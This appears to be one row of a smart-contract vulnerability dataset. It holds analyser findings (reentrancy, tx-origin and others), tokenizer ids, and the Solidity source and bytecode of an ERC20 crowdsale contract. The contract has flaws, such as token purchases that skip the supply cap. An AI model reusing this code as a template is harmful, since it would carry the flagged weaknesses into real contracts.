12156130f257600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220f15a2791933d43dcb381c8831d9daaf03b3250d9bb5497952a93ad872a18e6ec64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2683,
2278,
12376,
2475,
2497,
2692,
19481,
2575,
2581,
2549,
2278,
16086,
26224,
2063,
2581,
2475,
2497,
2683,
20842,
21084,
26224,
2575,
2278,
2575,
2487,
3401,
2278,
2620,
2620,
1013,
1013,
5371,
1024,
2745,
24876,
7088,
11231,
1012,
14017,
1013,
1013,
5371,
1024,
10471,
1013,
2745,
24876,
7088,
11231,
1012,
14017,
1013,
1013,
5371,
1024,
2745,
24876,
7088,
11231,
1035,
4257,
1012,
14017,
1013,
1013,
5371,
1024,
2745,
24876,
7088,
11231,
1012,
14017,
1013,
1013,
5371,
1024,
2745,
24876,
7088,
11231,
1012,
14017,
1013,
1013,
5371,
1024,
2745,
24876,
7088,
11231,
1012,
14017,
1013,
1013,
5371,
1024,
2745,
24876,
7088,
11231,
1012,
14017,
1013,
1013,
5371,
1024,
2745,
24876,
7088,
11231,
1012,
14017,
1013,
1013,
5371,
1024,
8311,
1013,
2745,
24876,
7088,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,568 | 0x9559daDE3D70e3Cf5b412a7aA648C148D0c4706d | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libraries/TransferHelper.sol";
contract ERC20Crowdsale is Ownable {
bool public isEnabled = false;
// ERC20 Token address => price mapping
mapping(address => uint256) public basePrice;
uint256 public maxSupply;
uint256 public totalSupply;
address public WETH;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// wallet addresses for beneficiary parties
address payable public charitiesBeneficiary;
address payable public carbonOffsetBeneficiary;
address payable public ccFundBeneficiary;
address payable public metaCarbonBeneficiary;
address payable public extraBeneficiary;
// distribution Percentile for beneficiary parties
uint8 public charitiesPercentile;
uint8 public carbonOffsetPercentile;
uint8 public ccFundPercentile;
uint8 public metaCarbonPercentile;
uint8 public extraPercentile;
/**
* @dev Emitted when token is purchased by `to` in `token` for `price`.
*/
event Purchased(
address indexed to,
address indexed token,
uint256 indexed price
);
/**
* @dev Emitted when token is purchased by `to` in `token` for `price`.
*/
event PurchasedWithBidPrice(
address indexed to,
address indexed token,
uint256 totalPrice,
uint256 indexed amount
);
// have to provide WETH token address and price in
constructor(address wethAddress, uint256 priceInEth) {
WETH = wethAddress;
basePrice[WETH] = priceInEth;
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view returns (uint256) {
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
function setBasePriceInToken(address token, uint256 price)
external
onlyOwner
{
require(token != address(0), "zero address cannot be used");
basePrice[token] = price;
}
function removeToken(address token) external onlyOwner {
delete basePrice[token];
}
/*
* Pause sale if active, make active if paused
*/
function setSaleStatus(bool status) public onlyOwner {
isEnabled = status;
}
function setCharitiesBeneficiary(address payable account)
external
onlyOwner
{
require(account != address(0), "zero address cannot be used");
charitiesBeneficiary = account;
}
function setCarbonOffsetBeneficiary(address payable account)
external
onlyOwner
{
require(account != address(0), "zero address cannot be used");
carbonOffsetBeneficiary = account;
}
function setCCFundBeneficiary(address payable account) external onlyOwner {
require(account != address(0), "zero address cannot be used");
ccFundBeneficiary = account;
}
function setMetaCarbonBeneficiary(address payable account)
external
onlyOwner
{
require(account != address(0), "zero address cannot be used");
metaCarbonBeneficiary = account;
}
function setExtraBeneficiary(address payable account) external onlyOwner {
require(account != address(0), "zero address cannot be used");
extraBeneficiary = account;
}
function setDistributionPercentile(
uint8 charities,
uint8 carbonOffset,
uint8 ccFund,
uint8 metaCarbon,
uint8 extra
) external onlyOwner {
require(
charities + carbonOffset + ccFund + metaCarbon + extra == 100,
"Sum of percentile should be 100"
);
charitiesPercentile = charities;
carbonOffsetPercentile = carbonOffset;
ccFundPercentile = ccFund;
metaCarbonPercentile = metaCarbon;
extraPercentile = extra;
}
function setMaxSupply(uint256 supply) public onlyOwner {
require(supply > 0, "amount should be greater than 0");
maxSupply = supply;
totalSupply = 0;
}
function buyWithToken(address token, uint256 amount) public {
require(isEnabled, "Sale is disabled");
require(amount > 0, "You need to buy at least 1 token");
require(basePrice[token] > 0, "Price in this token was not set");
uint256 value = amount * basePrice[token];
uint256 allowance = IERC20(token).allowance(msg.sender, address(this));
require(allowance >= value, "token allowance is not enough");
TransferHelper.safeTransferFrom(
token,
msg.sender,
address(this),
value
);
_balances[msg.sender] += amount;
for (uint256 i = 0; i < amount; i++) {
emit Purchased(msg.sender, token, basePrice[token]);
}
}
function buyWithTokenBidPrice(
address token,
uint256 amount,
uint256 totalPrice
) public {
require(isEnabled, "Sale is disabled");
require(amount > 0, "need to buy at least 1 token");
require(basePrice[token] > 0, "Price in this token was not set");
uint256 value = amount * basePrice[token];
require(
totalPrice >= value,
"bid price should be greater than base price"
);
uint256 allowance = IERC20(token).allowance(msg.sender, address(this));
require(allowance >= totalPrice, "token allowance is not enough");
TransferHelper.safeTransferFrom(
token,
msg.sender,
address(this),
totalPrice
);
_balances[msg.sender] += amount;
totalSupply += amount;
emit PurchasedWithBidPrice(msg.sender, token, totalPrice, amount);
}
/**
* Fallback function is called when msg.data is empty
*/
receive() external payable {
buyWithEth();
}
/**
* paid mint for sale.
*/
function buyWithEth() public payable {
require(isEnabled, "Sale is disabled");
require(totalSupply < maxSupply, "Total Supply is already reached");
require(msg.value >= basePrice[WETH], "Not enough ETH sent");
_balances[msg.sender] += 1;
totalSupply++;
uint256 remaining = msg.value - basePrice[WETH];
// _forwardFunds(basePrice[WETH]);
if (remaining > 0) {
TransferHelper.safeTransferETH(msg.sender, remaining);
}
emit Purchased(msg.sender, WETH, basePrice[WETH]);
}
function buyWithEthBidPrice(uint256 amount) public payable {
require(amount > 0, "need to buy at least 1 token");
require(isEnabled, "Sale is disabled");
require(totalSupply < maxSupply, "Total Supply is already reached");
require(msg.value >= basePrice[WETH] * amount, "Not enough ETH sent");
_balances[msg.sender] += amount;
totalSupply += amount;
emit PurchasedWithBidPrice(msg.sender, WETH, msg.value, amount);
}
function _forwardToken(address token, uint256 amount) private {
require(
charitiesPercentile +
carbonOffsetPercentile +
ccFundPercentile +
metaCarbonPercentile +
extraPercentile ==
100,
"Sum of percentile should be 100"
);
require(amount > 0, "amount should be greater than zero");
uint256 value = (amount * charitiesPercentile) / 100;
uint256 remaining = amount - value;
if (value > 0) {
require(
charitiesBeneficiary != address(0),
"Charities wallet is not set"
);
TransferHelper.safeTransfer(token, charitiesBeneficiary, value);
}
value = (amount * carbonOffsetPercentile) / 100;
if (value > 0) {
require(
carbonOffsetBeneficiary != address(0),
"CarbonOffset wallet is not set"
);
TransferHelper.safeTransfer(token, carbonOffsetBeneficiary, value);
remaining -= value;
}
value = (amount * ccFundPercentile) / 100;
if (value > 0) {
require(
ccFundBeneficiary != address(0),
"ccFund wallet is not set"
);
TransferHelper.safeTransfer(token, ccFundBeneficiary, value);
remaining -= value;
}
value = (amount * extraPercentile) / 100;
if (value > 0) {
require(extraBeneficiary != address(0), "extra wallet is not set");
TransferHelper.safeTransfer(token, extraBeneficiary, value);
remaining -= value;
}
// no need to calculate, just send all remaining funds to extra
if (remaining > 0) {
require(
metaCarbonBeneficiary != address(0),
"metaCarbon wallet is not set"
);
TransferHelper.safeTransfer(
token,
metaCarbonBeneficiary,
remaining
);
}
}
function _forwardETH(uint256 amount) private {
require(amount > 0, "balance is not enough");
uint256 value = (amount * charitiesPercentile) / 100;
uint256 remaining = amount - value;
if (value > 0) {
require(
charitiesBeneficiary != address(0),
"Charities wallet is not set"
);
TransferHelper.safeTransferETH(charitiesBeneficiary, value);
}
value = (amount * carbonOffsetPercentile) / 100;
if (value > 0) {
require(
carbonOffsetBeneficiary != address(0),
"CarbonOffset wallet is not set"
);
TransferHelper.safeTransferETH(carbonOffsetBeneficiary, value);
remaining -= value;
}
value = (amount * ccFundPercentile) / 100;
if (value > 0) {
require(
ccFundBeneficiary != address(0),
"ccFund wallet is not set"
);
TransferHelper.safeTransferETH(ccFundBeneficiary, value);
remaining -= value;
}
value = (amount * extraPercentile) / 100;
if (value > 0) {
require(extraBeneficiary != address(0), "extra wallet is not set");
TransferHelper.safeTransferETH(extraBeneficiary, value);
remaining -= value;
}
// no need to calculate, just send all remaining funds to extra
if (remaining > 0) {
require(
metaCarbonBeneficiary != address(0),
"metaCarbon wallet is not set"
);
TransferHelper.safeTransferETH(metaCarbonBeneficiary, remaining);
}
}
function withdrawEth() external onlyOwner {
_forwardETH(address(this).balance);
}
function withdrawToken(address token) external onlyOwner {
_forwardToken(token, IERC20(token).balanceOf(address(this)));
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.0;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
/// @notice Approves the stipulated contract to spend the given allowance in the given token
/// @dev Errors with 'SA' if transfer fails
/// @param token The contract address of the token to be approved
/// @param to The target of the approval
/// @param value The amount of the given token the target will be allowed to spend
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA');
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'STE');
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | 0x6080604052600436106102085760003560e01c8063850aef3f11610118578063c3cae29d116100a0578063d897833e1161006f578063d897833e146105e9578063e32d22f114610609578063e996b7b714610629578063f2fde38b1461064a578063fceecb871461066a57600080fd5b8063c3cae29d14610573578063c709b28e14610593578063d42173d7146105b3578063d5abeb01146105d357600080fd5b8063a90fd772116100e7578063a90fd772146104c5578063aca90ad9146104e5578063ad5c464814610505578063bec032b514610525578063c19016ec1461055257600080fd5b8063850aef3f1461045f57806389476069146104725780638da5cb5b14610492578063a0ef91df146104b057600080fd5b80635fa7b5841161019b5780636f8b44b01161016a5780636f8b44b0146103b257806370a08231146103d2578063715018a6146103f25780637720aa351461040757806380d1b7091461043f57600080fd5b80635fa7b584146103215780636aa633b6146103415780636bb39d7f146103725780636e33a8311461039257600080fd5b806346e1d41e116101d757806346e1d41e1461028d578063544a3f12146102ad57806359e52ef5146102cd5780635a50d7f71461030057600080fd5b80630fd7f1681461021c57806311b5444f1461023c57806318160ddd1461024457806345ea95081461026d57600080fd5b366102175761021561068b565b005b600080fd5b34801561022857600080fd5b506102156102373660046120ac565b61082b565b61021561068b565b34801561025057600080fd5b5061025a60035481565b6040519081526020015b60405180910390f35b34801561027957600080fd5b506102156102883660046120e6565b61089d565b34801561029957600080fd5b506102156102a83660046120ac565b6109b8565b3480156102b957600080fd5b506102156102c83660046120ac565b610a2a565b3480156102d957600080fd5b50600a546102ee90600160b81b900460ff1681565b60405160ff9091168152602001610264565b34801561030c57600080fd5b50600a546102ee90600160b01b900460ff1681565b34801561032d57600080fd5b5061021561033c3660046120ac565b610a9c565b34801561034d57600080fd5b5060005461036290600160a01b900460ff1681565b6040519015158152602001610264565b34801561037e57600080fd5b5061021561038d36600461214b565b610ae0565b34801561039e57600080fd5b506102156103ad366004612180565b610dab565b3480156103be57600080fd5b506102156103cd3660046121ac565b61101b565b3480156103de57600080fd5b5061025a6103ed3660046120ac565b61109f565b3480156103fe57600080fd5b50610215611126565b34801561041357600080fd5b50600954610427906001600160a01b031681565b6040516001600160a01b039091168152602001610264565b34801561044b57600080fd5b50600754610427906001600160a01b031681565b61021561046d3660046121ac565b61115c565b34801561047e57600080fd5b5061021561048d3660046120ac565b611317565b34801561049e57600080fd5b506000546001600160a01b0316610427565b3480156104bc57600080fd5b506102156113c6565b3480156104d157600080fd5b506102156104e03660046120ac565b6113f9565b3480156104f157600080fd5b50610215610500366004612180565b61146b565b34801561051157600080fd5b50600454610427906001600160a01b031681565b34801561053157600080fd5b5061025a6105403660046120ac565b60016020526000908152604090205481565b34801561055e57600080fd5b50600a546102ee90600160a01b900460ff1681565b34801561057f57600080fd5b50600654610427906001600160a01b031681565b34801561059f57600080fd5b50600854610427906001600160a01b031681565b3480156105bf57600080fd5b506102156105ce3660046120ac565b6114d7565b3480156105df57600080fd5b5061025a60025481565b3480156105f557600080fd5b506102156106043660046121d3565b611549565b34801561061557600080fd5b50600a54610427906001600160a01b031681565b34801561063557600080fd5b50600a546102ee90600160a81b900460ff1681565b34801561065657600080fd5b506102156106653660046120ac565b611591565b34801561067657600080fd5b50600a546102ee90600160c01b900460ff1681565b600054600160a01b900460ff166106bd5760405162461bcd60e51b81526004016106b4906121f0565b60405180910390fd5b600254600354106107105760405162461bcd60e51b815260206004820152601f60248201527f546f74616c20537570706c7920697320616c726561647920726561636865640060448201526064016106b4565b6004546001600160a01b03166000908152600160205260409020543410156107705760405162461bcd60e51b8152602060048201526013602482015272139bdd08195b9bdd59da08115512081cd95b9d606a1b60448201526064016106b4565b336000908152600560205260408120805460019290610790908490612230565b9091555050600380549060006107a583612248565b90915550506004546001600160a01b03166000908152600160205260408120546107cf9034612263565b905080156107e1576107e13382611629565b6004546001600160a01b031660008181526001602052604080822054905190929133917f3938ed494a2ac43205578f4190dcbdd61333ef5924e2db9ff8e6c3a204f840a69190a450565b6000546001600160a01b031633146108555760405162461bcd60e51b81526004016106b49061227a565b6001600160a01b03811661087b5760405162461bcd60e51b81526004016106b4906122af565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108c75760405162461bcd60e51b81526004016106b49061227a565b8082846108d487896122e6565b6108de91906122e6565b6108e891906122e6565b6108f291906122e6565b60ff166064146109445760405162461bcd60e51b815260206004820152601f60248201527f53756d206f662070657263656e74696c652073686f756c64206265203130300060448201526064016106b4565b600a805461ffff60a01b1916600160a01b60ff9788160260ff60a81b191617600160a81b958716959095029490941761ffff60b01b1916600160b01b9386169390930260ff60b81b191692909217600160b81b918516919091021760ff60c01b1916600160c01b9190931602919091179055565b6000546001600160a01b031633146109e25760405162461bcd60e51b81526004016106b49061227a565b6001600160a01b038116610a085760405162461bcd60e51b81526004016106b4906122af565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610a545760405162461bcd60e51b81526004016106b49061227a565b6001600160a01b038116610a7a5760405162461bcd60e51b81526004016106b4906122af565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610ac65760405162461bcd60e51b81526004016106b49061227a565b6001600160a01b0316600090815260016020526040812055565b600054600160a01b900460ff16610b095760405162461bcd60e51b81526004016106b4906121f0565b60008211610b595760405162461bcd60e51b815260206004820152601c60248201527f6e65656420746f20627579206174206c65617374203120746f6b656e0000000060448201526064016106b4565b6001600160a01b038316600090815260016020526040902054610bbe5760405162461bcd60e51b815260206004820152601f60248201527f507269636520696e207468697320746f6b656e20776173206e6f74207365740060448201526064016106b4565b6001600160a01b038316600090815260016020526040812054610be1908461230b565b905080821015610c475760405162461bcd60e51b815260206004820152602b60248201527f6269642070726963652073686f756c642062652067726561746572207468616e60448201526a206261736520707269636560a81b60648201526084016106b4565b604051636eb1769f60e11b81523360048201523060248201526000906001600160a01b0386169063dd62ed3e9060440160206040518083038186803b158015610c8f57600080fd5b505afa158015610ca3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc7919061232a565b905082811015610d195760405162461bcd60e51b815260206004820152601d60248201527f746f6b656e20616c6c6f77616e6365206973206e6f7420656e6f75676800000060448201526064016106b4565b610d25853330866116d1565b3360009081526005602052604081208054869290610d44908490612230565b925050819055508360036000828254610d5d9190612230565b909155505060405183815284906001600160a01b0387169033907f7d907ea5de8838f6a8e0e2867af19a851ae6889406014d4d724982a06b434fb79060200160405180910390a45050505050565b600054600160a01b900460ff16610dd45760405162461bcd60e51b81526004016106b4906121f0565b60008111610e245760405162461bcd60e51b815260206004820181905260248201527f596f75206e65656420746f20627579206174206c65617374203120746f6b656e60448201526064016106b4565b6001600160a01b038216600090815260016020526040902054610e895760405162461bcd60e51b815260206004820152601f60248201527f507269636520696e207468697320746f6b656e20776173206e6f74207365740060448201526064016106b4565b6001600160a01b038216600090815260016020526040812054610eac908361230b565b604051636eb1769f60e11b81523360048201523060248201529091506000906001600160a01b0385169063dd62ed3e9060440160206040518083038186803b158015610ef757600080fd5b505afa158015610f0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2f919061232a565b905081811015610f815760405162461bcd60e51b815260206004820152601d60248201527f746f6b656e20616c6c6f77616e6365206973206e6f7420656e6f75676800000060448201526064016106b4565b610f8d843330856116d1565b3360009081526005602052604081208054859290610fac908490612230565b90915550600090505b83811015611014576001600160a01b03851660008181526001602052604080822054905190929133917f3938ed494a2ac43205578f4190dcbdd61333ef5924e2db9ff8e6c3a204f840a69190a48061100c81612248565b915050610fb5565b5050505050565b6000546001600160a01b031633146110455760405162461bcd60e51b81526004016106b49061227a565b600081116110955760405162461bcd60e51b815260206004820152601f60248201527f616d6f756e742073686f756c642062652067726561746572207468616e20300060448201526064016106b4565b6002556000600355565b60006001600160a01b03821661110a5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106b4565b506001600160a01b031660009081526005602052604090205490565b6000546001600160a01b031633146111505760405162461bcd60e51b81526004016106b49061227a565b61115a60006117db565b565b600081116111ac5760405162461bcd60e51b815260206004820152601c60248201527f6e65656420746f20627579206174206c65617374203120746f6b656e0000000060448201526064016106b4565b600054600160a01b900460ff166111d55760405162461bcd60e51b81526004016106b4906121f0565b600254600354106112285760405162461bcd60e51b815260206004820152601f60248201527f546f74616c20537570706c7920697320616c726561647920726561636865640060448201526064016106b4565b6004546001600160a01b031660009081526001602052604090205461124e90829061230b565b3410156112935760405162461bcd60e51b8152602060048201526013602482015272139bdd08195b9bdd59da08115512081cd95b9d606a1b60448201526064016106b4565b33600090815260056020526040812080548392906112b2908490612230565b9250508190555080600360008282546112cb9190612230565b909155505060045460405134815282916001600160a01b03169033907f7d907ea5de8838f6a8e0e2867af19a851ae6889406014d4d724982a06b434fb79060200160405180910390a450565b6000546001600160a01b031633146113415760405162461bcd60e51b81526004016106b49061227a565b6040516370a0823160e01b81523060048201526113c39082906001600160a01b038216906370a082319060240160206040518083038186803b15801561138657600080fd5b505afa15801561139a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113be919061232a565b61182b565b50565b6000546001600160a01b031633146113f05760405162461bcd60e51b81526004016106b49061227a565b61115a47611c4d565b6000546001600160a01b031633146114235760405162461bcd60e51b81526004016106b49061227a565b6001600160a01b0381166114495760405162461bcd60e51b81526004016106b4906122af565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146114955760405162461bcd60e51b81526004016106b49061227a565b6001600160a01b0382166114bb5760405162461bcd60e51b81526004016106b4906122af565b6001600160a01b03909116600090815260016020526040902055565b6000546001600160a01b031633146115015760405162461bcd60e51b81526004016106b49061227a565b6001600160a01b0381166115275760405162461bcd60e51b81526004016106b4906122af565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146115735760405162461bcd60e51b81526004016106b49061227a565b60008054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146115bb5760405162461bcd60e51b81526004016106b49061227a565b6001600160a01b0381166116205760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106b4565b6113c3816117db565b604080516000808252602082019092526001600160a01b0384169083906040516116539190612343565b60006040518083038185875af1925050503d8060008114611690576040519150601f19603f3d011682016040523d82523d6000602084013e611695565b606091505b50509050806116cc5760405162461bcd60e51b815260206004820152600360248201526253544560e81b60448201526064016106b4565b505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17905291516000928392908816916117359190612343565b6000604051808303816000865af19150503d8060008114611772576040519150601f19603f3d011682016040523d82523d6000602084013e611777565b606091505b50915091508180156117a15750805115806117a15750808060200190518101906117a1919061237e565b6117d35760405162461bcd60e51b815260206004820152600360248201526229aa2360e91b60448201526064016106b4565b505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600a5460ff600160c01b8204811691600160b81b8104821691600160b01b820481169161186991600160a81b8204811691600160a01b9004166122e6565b61187391906122e6565b61187d91906122e6565b61188791906122e6565b60ff166064146118d95760405162461bcd60e51b815260206004820152601f60248201527f53756d206f662070657263656e74696c652073686f756c64206265203130300060448201526064016106b4565b600081116119345760405162461bcd60e51b815260206004820152602260248201527f616d6f756e742073686f756c642062652067726561746572207468616e207a65604482015261726f60f01b60648201526084016106b4565b600a5460009060649061195190600160a01b900460ff168461230b565b61195b919061239b565b905060006119698284612263565b905081156119e1576006546001600160a01b03166119c95760405162461bcd60e51b815260206004820152601b60248201527f4368617269746965732077616c6c6574206973206e6f7420736574000000000060448201526064016106b4565b6006546119e19085906001600160a01b031684611f9e565b600a546064906119fb90600160a81b900460ff168561230b565b611a05919061239b565b91508115611a8a576007546001600160a01b0316611a655760405162461bcd60e51b815260206004820152601e60248201527f436172626f6e4f66667365742077616c6c6574206973206e6f7420736574000060448201526064016106b4565b600754611a7d9085906001600160a01b031684611f9e565b611a878282612263565b90505b600a54606490611aa490600160b01b900460ff168561230b565b611aae919061239b565b91508115611b2e576008546001600160a01b0316611b095760405162461bcd60e51b815260206004820152601860248201527718d8d19d5b99081dd85b1b195d081a5cc81b9bdd081cd95d60421b60448201526064016106b4565b600854611b219085906001600160a01b031684611f9e565b611b2b8282612263565b90505b600a54606490611b4890600160c01b900460ff168561230b565b611b52919061239b565b91508115611bd157600a546001600160a01b0316611bac5760405162461bcd60e51b8152602060048201526017602482015276195e1d1c98481dd85b1b195d081a5cc81b9bdd081cd95d604a1b60448201526064016106b4565b600a54611bc49085906001600160a01b031684611f9e565b611bce8282612263565b90505b8015611c47576009546001600160a01b0316611c2f5760405162461bcd60e51b815260206004820152601c60248201527f6d657461436172626f6e2077616c6c6574206973206e6f74207365740000000060448201526064016106b4565b600954611c479085906001600160a01b031683611f9e565b50505050565b60008111611c955760405162461bcd60e51b81526020600482015260156024820152740c4c2d8c2dcc6ca40d2e640dcdee840cadcdeeaced605b1b60448201526064016106b4565b600a54600090606490611cb290600160a01b900460ff168461230b565b611cbc919061239b565b90506000611cca8284612263565b90508115611d40576006546001600160a01b0316611d2a5760405162461bcd60e51b815260206004820152601b60248201527f4368617269746965732077616c6c6574206973206e6f7420736574000000000060448201526064016106b4565b600654611d40906001600160a01b031683611629565b600a54606490611d5a90600160a81b900460ff168561230b565b611d64919061239b565b91508115611de7576007546001600160a01b0316611dc45760405162461bcd60e51b815260206004820152601e60248201527f436172626f6e4f66667365742077616c6c6574206973206e6f7420736574000060448201526064016106b4565b600754611dda906001600160a01b031683611629565b611de48282612263565b90505b600a54606490611e0190600160b01b900460ff168561230b565b611e0b919061239b565b91508115611e89576008546001600160a01b03